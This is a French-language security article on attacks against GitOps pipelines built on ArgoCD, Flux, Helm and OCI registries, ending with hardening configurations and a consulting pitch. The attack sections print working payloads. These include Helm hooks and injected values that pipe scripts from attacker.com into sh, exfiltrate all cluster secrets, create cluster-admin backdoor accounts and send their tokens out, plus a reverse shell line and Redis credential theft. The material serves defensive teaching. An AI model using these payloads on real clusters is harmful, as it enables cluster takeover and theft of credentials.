Auteur : Ayi NEDJIMI Date : 15 fevrier 2026
1. Introduction GitOps
GitOps est un paradigme operationnel qui utilise Git comme source unique de verite pour la configuration de l'infrastructure et des applications. Popularise par Weaveworks en 2017, GitOps repose sur deux principes fondamentaux : l'etat desire de l'infrastructure est declare dans un repository Git, et un agent de reconciliation (ArgoCD, Flux, Jenkins X) synchronise automatiquement l'etat reel du cluster Kubernetes avec l'etat declare dans Git.
Cette approche offre des avantages considerables en termes de tracabilite, reproductibilite et automatisation. Cependant, elle concentre egalement les risques de securite sur un nombre limite de composants critiques : le repository Git (source de verite), le controleur GitOps (ArgoCD, Flux), et le pipeline de reconciliation. La compromission de l'un de ces composants peut mener au deploiement de code malveillant dans l'ensemble des environnements geres, y compris la production.
Cet article explore les techniques d'attaque avancees ciblant les architectures GitOps, avec un focus particulier sur ArgoCD, Flux et Helm. Nous analyserons les vecteurs d'attaque specifiques a chaque composant, presenterons des scenarios d'exploitation concrets, et detaillerons les strategies de durcissement pour securiser vos pipelines GitOps.
Audience cible : DevSecOps engineers, architectes Cloud/Kubernetes, Red Teamers, et equipes de securite responsables des pipelines CI/CD.
2. ArgoCD RBAC Bypass
Architecture ArgoCD et surface d'attaque
ArgoCD est le controleur GitOps le plus deploye pour Kubernetes, avec plus de 15 000 etoiles GitHub et une adoption massive dans l'industrie. Son architecture comprend plusieurs composants critiques :
- argocd-server : API server et UI web, expose les endpoints gRPC et REST pour la gestion des applications. Generalement expose via un Ingress ou un LoadBalancer.
- argocd-repo-server : Clone les repositories Git, genere les manifests Kubernetes (Helm template, Kustomize build, plain YAML). S'execute avec des privileges limites mais accede aux secrets Git et aux Helm values.
- argocd-application-controller : Compare l'etat desire (Git) avec l'etat reel (cluster), et effectue la reconciliation. S'execute avec un ServiceAccount ayant des privileges etendus sur le cluster cible.
- argocd-dex-server : Serveur d'authentification OIDC/SAML/LDAP pour le SSO. Vulnerabilites frequentes dans les configurations de federation d'identite.
- argocd-redis : Cache et broker de messages interne. Si expose sans authentification, peut etre exploite pour l'injection de donnees.
Exploitation du RBAC ArgoCD
Le systeme RBAC d'ArgoCD est base sur Casbin et configure via un ConfigMap. Les misconfigurations RBAC sont extremement frequentes et constituent le premier vecteur d'attaque :
# Configuration RBAC ArgoCD typique (argocd-rbac-cm ConfigMap)
# Fichier: argocd-rbac-cm.yaml
apiVersion: v1
kind: ConfigMap
metadata:
name: argocd-rbac-cm
namespace: argocd
data:
# DANGEREUX: politique par defaut trop permissive
policy.default: role:readonly # Devrait etre role:''
policy.csv: |
# Regles Casbin: p, subject, resource, action, object
p, role:admin, *, *, */*, allow
p, role:developer, applications, get, */*, allow
p, role:developer, applications, sync, */*, allow
# DANGEREUX: Les developpeurs peuvent sync TOUTES les apps
# Y compris les apps infrastructure/production
# Binding des groupes SSO aux roles
g, admin-group, role:admin
g, dev-group, role:developer
# Attaque 1: Exploitation de la politique par defaut
# Si policy.default = role:readonly
# TOUT utilisateur authentifie peut lire toutes les configurations
# Y compris les secrets Helm values et les Git credentials
# Verification des permissions actuelles
$ argocd account can-i get applications '*/*'
yes
$ argocd account can-i sync applications '*/*'
yes # PROBLEME: sync sur tous les projets
# Attaque 2: Abuse du wildcard dans les regles RBAC
# Si un role a "applications, *, */*, allow"
# L'utilisateur peut creer, modifier et supprimer des applications
# Il peut pointer une application vers un repo Git malveillant
# Attaque 3: Escalade via les Projets ArgoCD
# Un AppProject avec sourceRepos: '*' et destinations: '*'
# permet de deployer n'importe quoi depuis n'importe quel repo
$ argocd proj get default
Destinations: *,*
Source Repos: *
# Aucune restriction -> compromission possible
CVE connues et exploitation
# CVE-2024-31989: Privilege Escalation in ArgoCD
# Unprivileged pod in argocd namespace can steal admin credentials
# via Redis cache (argocd-redis) accessible without authentication
# Exploitation:
# 1. Obtenir un shell dans un pod du namespace argocd
# 2. Se connecter au Redis interne (pas d'auth par defaut)
$ redis-cli -h argocd-redis.argocd.svc.cluster.local
> KEYS *
1) "app|*"
2) "mfst|*"
3) "git-creds|*" # Credentials Git !
4) "cluster|*" # Tokens de clusters !
> GET "git-creds|https://github.com/org/infra-repo.git"
"{\"username\":\"deploy-bot\",\"password\":\"ghp_XXXXXXXXXXXX\"}"
# CVE-2024-40634: ArgoCD DoS via crafted JWT
# Envoi d'un JWT maliciously crafted provoquant un crash de argocd-server
# CVE-2022-24348: Path Traversal in ArgoCD
# Permet de lire des fichiers en dehors du repo clone
# Exploitation via une Application ArgoCD pointant vers un repo
# contenant des symlinks malveillants
$ ln -s /etc/shadow link_to_shadow
$ git add link_to_shadow && git commit -m "exploit"
# ArgoCD suit le symlink et expose le contenu du fichier
3. Helm Chart Injection
Attaques sur les templates Helm
Helm est le gestionnaire de packages de facto pour Kubernetes. Les Helm charts utilisent le moteur de templates Go qui, s'il est mal controle, peut etre exploite pour injecter du contenu malveillant dans les manifests Kubernetes generes. Plusieurs vecteurs d'attaque sont possibles :
# Attaque 1: Injection via les values.yaml
# Si un attaquant controle les values passees a Helm
# (via un PR dans le repo GitOps, ou via l'UI ArgoCD)
# values.yaml malveillant:
image:
repository: "nginx"
tag: "latest\"\n command: [\"sh\", \"-c\", \"curl http://attacker.com/shell.sh | sh\"]"
# Le template Helm genere un manifest avec la commande injectee
# templates/deployment.yaml:
# image: {{ .Values.image.repository }}:{{ .Values.image.tag }}
# Resultat apres templating:
containers:
- name: app
image: "nginx:latest"
command: ["sh", "-c", "curl http://attacker.com/shell.sh | sh"]
# Attaque 2: Exploitation des hooks Helm
# Les hooks pre-install, post-install, pre-upgrade s'executent
# dans le cluster avec les privileges du service account
# Chart malveillant avec hook:
# templates/hook.yaml
apiVersion: batch/v1
kind: Job
metadata:
name: "pre-install-hook"
annotations:
"helm.sh/hook": pre-install
"helm.sh/hook-weight": "-5"
spec:
template:
spec:
serviceAccountName: argocd-application-controller # Privileges eleves!
containers:
- name: exploit
image: bitnami/kubectl
command:
- /bin/sh
- -c
- |
# Exfiltrer tous les secrets du cluster
kubectl get secrets -A -o json | curl -X POST -d @- http://attacker.com/secrets
# Creer un ClusterRoleBinding admin
kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=default:default
# Attaque 3: Dependency Confusion Helm
# Injection d'un chart malveillant dans un registry public
# avec le meme nom qu'un chart prive interne
# Chart.yaml de la victime:
dependencies:
- name: internal-lib # Chart interne
version: "1.0.0"
repository: "https://charts.internal.com"
# L'attaquant publie "internal-lib" version "99.0.0"
# sur un registry public (artifacthub.io, etc.)
# Si la resolution de dependances n'est pas stricte,
# Helm telechargera la version malveillante
Helm plugins et post-renderers malveillants
Helm supporte les plugins et les post-renderers qui s'executent localement (ou dans le repo-server ArgoCD) avec les memes privileges que le processus Helm. Un chart malveillant peut inclure des scripts post-render qui s'executent pendant la phase de templating :
# Post-renderer malveillant
# Le post-renderer est un executable appele par Helm
# apres le templating, avant l'application au cluster
# Dans le ArgoCD Application manifest:
apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
name: malicious-app
spec:
source:
repoURL: https://github.com/attacker/chart
helm:
# Le post-renderer s'execute dans le repo-server ArgoCD
# Acces aux credentials Git, aux secrets Helm, etc.
postRenderers:
- kustomize:
patches:
- target:
kind: Deployment
patch: |
- op: add
path: /spec/template/spec/containers/0/env/-
value:
name: EXFIL
valueFrom:
secretKeyRef:
name: argocd-secret
key: admin.password
4. Flux Source Controller Abuse
Architecture Flux v2 et composants critiques
Flux v2 (Flux CD) est le second controleur GitOps majeur pour Kubernetes, incube par la CNCF. Son architecture modulaire repose sur plusieurs controleurs independants :
- Source Controller : Gere les sources de configuration (GitRepository, HelmRepository, OCIRepository, Bucket). Clone les repos, telecharge les charts Helm et les artifacts OCI.
- Kustomize Controller : Applique les manifests Kustomize au cluster. Gere les dependances entre les Kustomizations et l'ordre d'application.
- Helm Controller : Gere les HelmReleases. Installe, met a jour et desinstalle les releases Helm dans le cluster.
- Notification Controller : Envoie des notifications (Slack, Teams, webhooks) et recoit des webhooks pour declencher des reconciliations.
- Image Automation Controllers : Scannent les registries d'images et mettent a jour automatiquement les manifests Git avec les nouvelles versions d'images.
Exploitation du Source Controller
# Attaque 1: GitRepository Poisoning
# Si l'attaquant obtient un acces en ecriture au repository Git
# surveille par Flux, il peut deployer n'importe quoi
# Flux GitRepository CRD:
apiVersion: source.toolkit.fluxcd.io/v1
kind: GitRepository
metadata:
name: infra-repo
namespace: flux-system
spec:
url: https://github.com/org/infrastructure
ref:
branch: main
interval: 1m # Reconciliation toutes les minutes!
secretRef:
name: git-credentials # Deploy key ou token
# L'attaquant push un manifest malveillant dans le repo:
# Deploiement d'un pod privileged avec hostPID et hostNetwork
apiVersion: v1
kind: Pod
metadata:
name: node-shell
namespace: kube-system
spec:
hostPID: true
hostNetwork: true
containers:
- name: shell
image: alpine
command: ["nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash"]
securityContext:
privileged: true
# Flux detecte le changement dans les 60 secondes et l'applique!
# Attaque 2: Webhook Trigger Abuse
# Le Notification Controller expose des endpoints webhook
# Si non authentifie, un attaquant peut forcer une reconciliation
# Flux Receiver CRD (webhook):
apiVersion: notification.toolkit.fluxcd.io/v1
kind: Receiver
metadata:
name: github-webhook
namespace: flux-system
spec:
type: github
events:
- "ping"
- "push"
secretRef:
name: webhook-token
resources:
- kind: GitRepository
name: infra-repo
# Si le webhook-token est faible ou expose:
$ curl -X POST https://flux-webhook.company.com/hook/abc123 \
-H "X-Hub-Signature-256: sha256=..." \
-d '{"ref":"refs/heads/main"}'
# Force la reconciliation immediate, reduisant la fenetre
# entre le push malveillant et le deploiement
Attaque sur les Kustomizations Flux
# Kustomization avec postBuild variable substitution
# Peut etre exploite pour injecter des valeurs malveillantes
apiVersion: kustomize.toolkit.fluxcd.io/v1
kind: Kustomization
metadata:
name: app
namespace: flux-system
spec:
sourceRef:
kind: GitRepository
name: infra-repo
path: ./clusters/production
postBuild:
substitute:
CLUSTER_NAME: production
# Si ces valeurs proviennent d'un ConfigMap editable:
substituteFrom:
- kind: ConfigMap
name: cluster-config # Modifiable par un attaquant avec RBAC?
# Si l'attaquant modifie le ConfigMap:
apiVersion: v1
kind: ConfigMap
metadata:
name: cluster-config
namespace: flux-system
data:
IMAGE_TAG: "latest\"\n command: [\"sh\",\"-c\",\"reverse_shell attacker.com 4444\"]"
# La substitution injecte la commande dans les manifests
5. Repo Poisoning Avance
Strategies de compromission des repositories
Le repository Git est la source unique de verite en GitOps. Sa compromission est le scenario le plus critique car elle permet le deploiement de code malveillant dans tous les environnements geres. Les vecteurs d'attaque pour compromettre un repository GitOps sont multiples :
- Vol de deploy keys/tokens : Les credentials Git stockes dans les secrets Kubernetes (utilisees par ArgoCD/Flux) sont souvent des tokens PAT ou des deploy keys avec des droits d'ecriture. Leur extraction depuis un pod compromis ou un secret mal protege donne un acces direct au repo.
- Compromission de compte developpeur : Phishing, credential stuffing, ou vol de session sur la plateforme Git (GitHub, GitLab, Bitbucket). Un seul developpeur compromis avec un acces push sur le repo GitOps peut deployer du code malveillant.
- Pull Request poisoning : Soumission d'un PR apparemment benin qui contient des modifications subtiles dans les manifests (changement d'image Docker, ajout de variables d'environnement, modification de securityContext). Si la review n'est pas rigoureuse, le PR est merge.
- GitHub Actions/GitLab CI compromise : Si les workflows CI/CD ont un acces push au repo GitOps (pour l'image automation), la compromission du pipeline CI permet la modification du repo.
# Technique: Modification subtile dans un PR
# L'attaquant soumet un PR qui semble corriger un bug mineur
# mais contient une modification malveillante cachee
# Diff visible du PR (semble inoffensif):
- replicas: 3
+ replicas: 5 # "Performance improvement"
# Modification cachee dans un fichier Kustomize moins visible:
# overlays/production/patches/deployment.yaml
- image: company/app:v2.1.0
+ image: company/app:v2.1.0
+ env:
+ - name: INIT_SCRIPT
+ value: "curl -s http://evil.com/c2.sh | sh"
# Technique: Commit signing bypass
# Si la branch protection requiert des commits signes,
# l'attaquant peut exploiter la confiance dans les merge commits
# GitHub ne verifie pas les signatures sur les merge commits
# generes par la plateforme elle-meme
# Un PR approve et merge cree un commit "verified" sans signature GPG
# Technique: Git submodule abuse
# Ajout d'un submodule pointant vers un repo malveillant
$ git submodule add https://github.com/attacker/malicious-lib lib/helper
# Le contenu du submodule est clone et deploye par le controleur GitOps
6. OCI Artifact Attacks
OCI comme source GitOps
Les specifications OCI (Open Container Initiative) sont de plus en plus utilisees pour stocker et distribuer des artifacts non-container : Helm charts, Kustomize overlays, WASM modules, et configurations Kubernetes. ArgoCD et Flux supportent nativement les OCI repositories comme source de configuration, introduisant de nouveaux vecteurs d'attaque :
# Flux OCIRepository source
apiVersion: source.toolkit.fluxcd.io/v1beta2
kind: OCIRepository
metadata:
name: app-config
namespace: flux-system
spec:
url: oci://registry.company.com/configs/app
ref:
tag: latest # DANGEREUX: tag mutable!
interval: 5m
provider: generic
# Attaque 1: Tag Overwrite
# Les tags OCI sont mutables (comme les tags Docker)
# L'attaquant push un artifact malveillant avec le meme tag
$ flux push artifact oci://registry.company.com/configs/app:latest \
--path=./malicious-configs \
--source="$(git config --get remote.origin.url)" \
--revision="$(git rev-parse HEAD)"
# Flux detecte le changement de digest et reconcilie!
# Attaque 2: Registry Takeover
# Si le registry OCI est expose sans authentification
# ou avec des credentials par defaut
$ crane auth login registry.company.com -u admin -p admin
$ crane push malicious.tar.gz registry.company.com/configs/app:v1.0
# Attaque 3: Supply Chain via Cosign verification bypass
# Si la verification de signature Cosign n'est pas activee:
spec:
verify:
provider: cosign # Desactive par defaut!
secretRef:
name: cosign-pub-key
# Sans verification, n'importe quel artifact est accepte
Helm OCI chart poisoning
Les Helm charts stockes en OCI registry sont particulierement vulnerables car ils peuvent contenir des hooks pre/post-install qui s'executent automatiquement lors du deploiement. Un chart OCI empoisonne peut executer du code arbitraire dans le cluster avant meme que l'application ne soit deployee.
# Publication d'un chart Helm malveillant en OCI
$ helm package ./malicious-chart
$ helm push malicious-chart-1.0.0.tgz oci://registry.company.com/charts
# Le chart contient un hook pre-install:
# templates/pre-install-hook.yaml
apiVersion: batch/v1
kind: Job
metadata:
name: init-job
annotations:
helm.sh/hook: pre-install
helm.sh/hook-delete-policy: hook-succeeded
spec:
template:
spec:
serviceAccountName: flux-system # SA du controleur Flux
automountServiceAccountToken: true
containers:
- name: init
image: bitnami/kubectl:latest
command:
- /bin/sh
- -c
- |
# Creer un service account admin
kubectl create sa backdoor -n kube-system
kubectl create clusterrolebinding backdoor \
--clusterrole=cluster-admin \
--serviceaccount=kube-system:backdoor
# Exfiltrer le token
TOKEN=$(kubectl create token backdoor -n kube-system --duration=8760h)
curl -s "http://attacker.com/token?t=$TOKEN"
restartPolicy: Never
7. Hardening GitOps
Securisation d'ArgoCD
# 1. RBAC strict - Principe de moindre privilege
apiVersion: v1
kind: ConfigMap
metadata:
name: argocd-rbac-cm
namespace: argocd
data:
policy.default: role:'' # AUCUN acces par defaut
policy.csv: |
# Roles granulaires par projet
p, role:dev-team-a, applications, get, team-a/*, allow
p, role:dev-team-a, applications, sync, team-a/staging-*, allow
# PAS de sync en production pour les devs
p, role:sre, applications, *, */*, allow
# Binding strict
g, team-a-group, role:dev-team-a
g, sre-group, role:sre
# 2. AppProject restrictions
apiVersion: argoproj.io/v1alpha1
kind: AppProject
metadata:
name: team-a
namespace: argocd
spec:
# Sources autorisees (pas de wildcard!)
sourceRepos:
- 'https://github.com/company/team-a-*'
# Destinations limitees
destinations:
- namespace: 'team-a-*'
server: https://kubernetes.default.svc
# Ressources interdites (securite)
namespaceResourceBlacklist:
- group: ''
kind: ResourceQuota
- group: ''
kind: LimitRange
clusterResourceWhitelist: [] # Aucune ressource cluster
# 3. Redis avec authentification
apiVersion: apps/v1
kind: Deployment
metadata:
name: argocd-redis
spec:
template:
spec:
containers:
- name: redis
args:
- --requirepass
- $(REDIS_PASSWORD)
env:
- name: REDIS_PASSWORD
valueFrom:
secretKeyRef:
name: argocd-redis-secret
key: password
# 4. Verification de signature des commits Git
apiVersion: argoproj.io/v1alpha1
kind: Application
spec:
source:
repoURL: https://github.com/company/infra
# Exiger des commits signes GPG
# Configure via argocd-cm ConfigMap:
# gpg.keys:
Securisation de Flux
# 1. Verification de signature des commits (Flux v2)
apiVersion: source.toolkit.fluxcd.io/v1
kind: GitRepository
metadata:
name: infra-repo
namespace: flux-system
spec:
url: https://github.com/company/infrastructure
ref:
branch: main
verify:
mode: HEAD # Verifier le dernier commit
secretRef:
name: pgp-public-keys # Cles GPG des developpeurs autorises
# 2. Verification Cosign pour les OCI artifacts
apiVersion: source.toolkit.fluxcd.io/v1beta2
kind: OCIRepository
spec:
verify:
provider: cosign
secretRef:
name: cosign-pub-key
matchOIDCIdentity:
- issuer: "https://token.actions.githubusercontent.com"
subject: "repo:company/infra:ref:refs/heads/main"
# 3. Multi-tenancy avec ServiceAccount par Kustomization
apiVersion: kustomize.toolkit.fluxcd.io/v1
kind: Kustomization
spec:
serviceAccountName: team-a-deployer # SA avec droits limites
targetNamespace: team-a-production # Namespace cible fixe
# 4. Network Policies pour isoler les controleurs Flux
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: flux-source-controller
namespace: flux-system
spec:
podSelector:
matchLabels:
app: source-controller
policyTypes:
- Egress
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0 # Acces Git/OCI registries
ports:
- port: 443
protocol: TCP
- port: 22
protocol: TCP
- to:
- namespaceSelector:
matchLabels:
name: flux-system
# Communication inter-controleurs uniquement
Checklist de securisation GitOps
- Repositories : Branch protection, code review obligatoire, commits signes GPG, CODEOWNERS sur les fichiers critiques.
- ArgoCD : RBAC strict sans wildcard, AppProjects avec restrictions, Redis authentifie, audit logging active.
- Flux : Verification de signature des sources (Git commit signing, Cosign pour OCI), ServiceAccount par Kustomization, Network Policies.
- Helm : Provenance verification, pas de hooks en production sauf exception approuvee, pinning des versions de charts (pas de "latest").
- Secrets : Utiliser Sealed Secrets, SOPS ou External Secrets Operator. Jamais de secrets en clair dans Git.
- OCI : Signature Cosign obligatoire, tags immutables (digest-based references), scanning de vulnerabilites.
- Monitoring : Alerter sur les changements de configuration GitOps, les syncs non planifies, et les echecs de verification de signature.
8. Conclusion
Les architectures GitOps, en centralisant la gestion de l'infrastructure dans des repositories Git et des controleurs de reconciliation, offrent des avantages operationnels considerables mais introduisent egalement des risques de securite specifiques. La compromission d'un repository GitOps ou d'un controleur comme ArgoCD ou Flux peut avoir des consequences catastrophiques, permettant le deploiement de code malveillant dans l'ensemble des environnements geres.
Les attaques decrites dans cet article -- RBAC bypass ArgoCD, Helm chart injection, Flux source controller abuse, repo poisoning, et OCI artifact attacks -- demontrent que la securisation d'une architecture GitOps necessite une approche holistique couvrant chaque composant de la chaine : du repository Git au cluster Kubernetes, en passant par les controleurs GitOps, les registries d'artifacts et les pipelines CI/CD.
La mise en oeuvre des recommandations de durcissement presentees -- RBAC strict, verification de signatures, isolation reseau, monitoring des changements -- est essentielle pour beneficier des avantages de GitOps sans compromettre la securite. Les equipes DevSecOps doivent integrer la securite GitOps dans leur posture de securite globale et considerer les controleurs GitOps comme des composants critiques meritant le meme niveau de protection que les controleurs de domaine ou les serveurs de secrets.
Passez a l'Action
Ne laissez pas votre infrastructure exposee. Nos consultants certifies realisent des audits de securite approfondis en simulant les techniques presentees dans cet article.
Demander un Devis Personnalise
Ayi NEDJIMI
Expert en Cybersécurité & Intelligence Artificielle
Consultant senior avec plus de 15 ans d'expérience en sécurité offensive, audit d'infrastructure et développement de solutions IA. Certifié OSCP, CISSP, ISO 27001 Lead Auditor et ISO 42001 Lead Implementer. Intervient sur des missions de pentest Active Directory, sécurité Cloud et conformité réglementaire pour des grands comptes et ETI.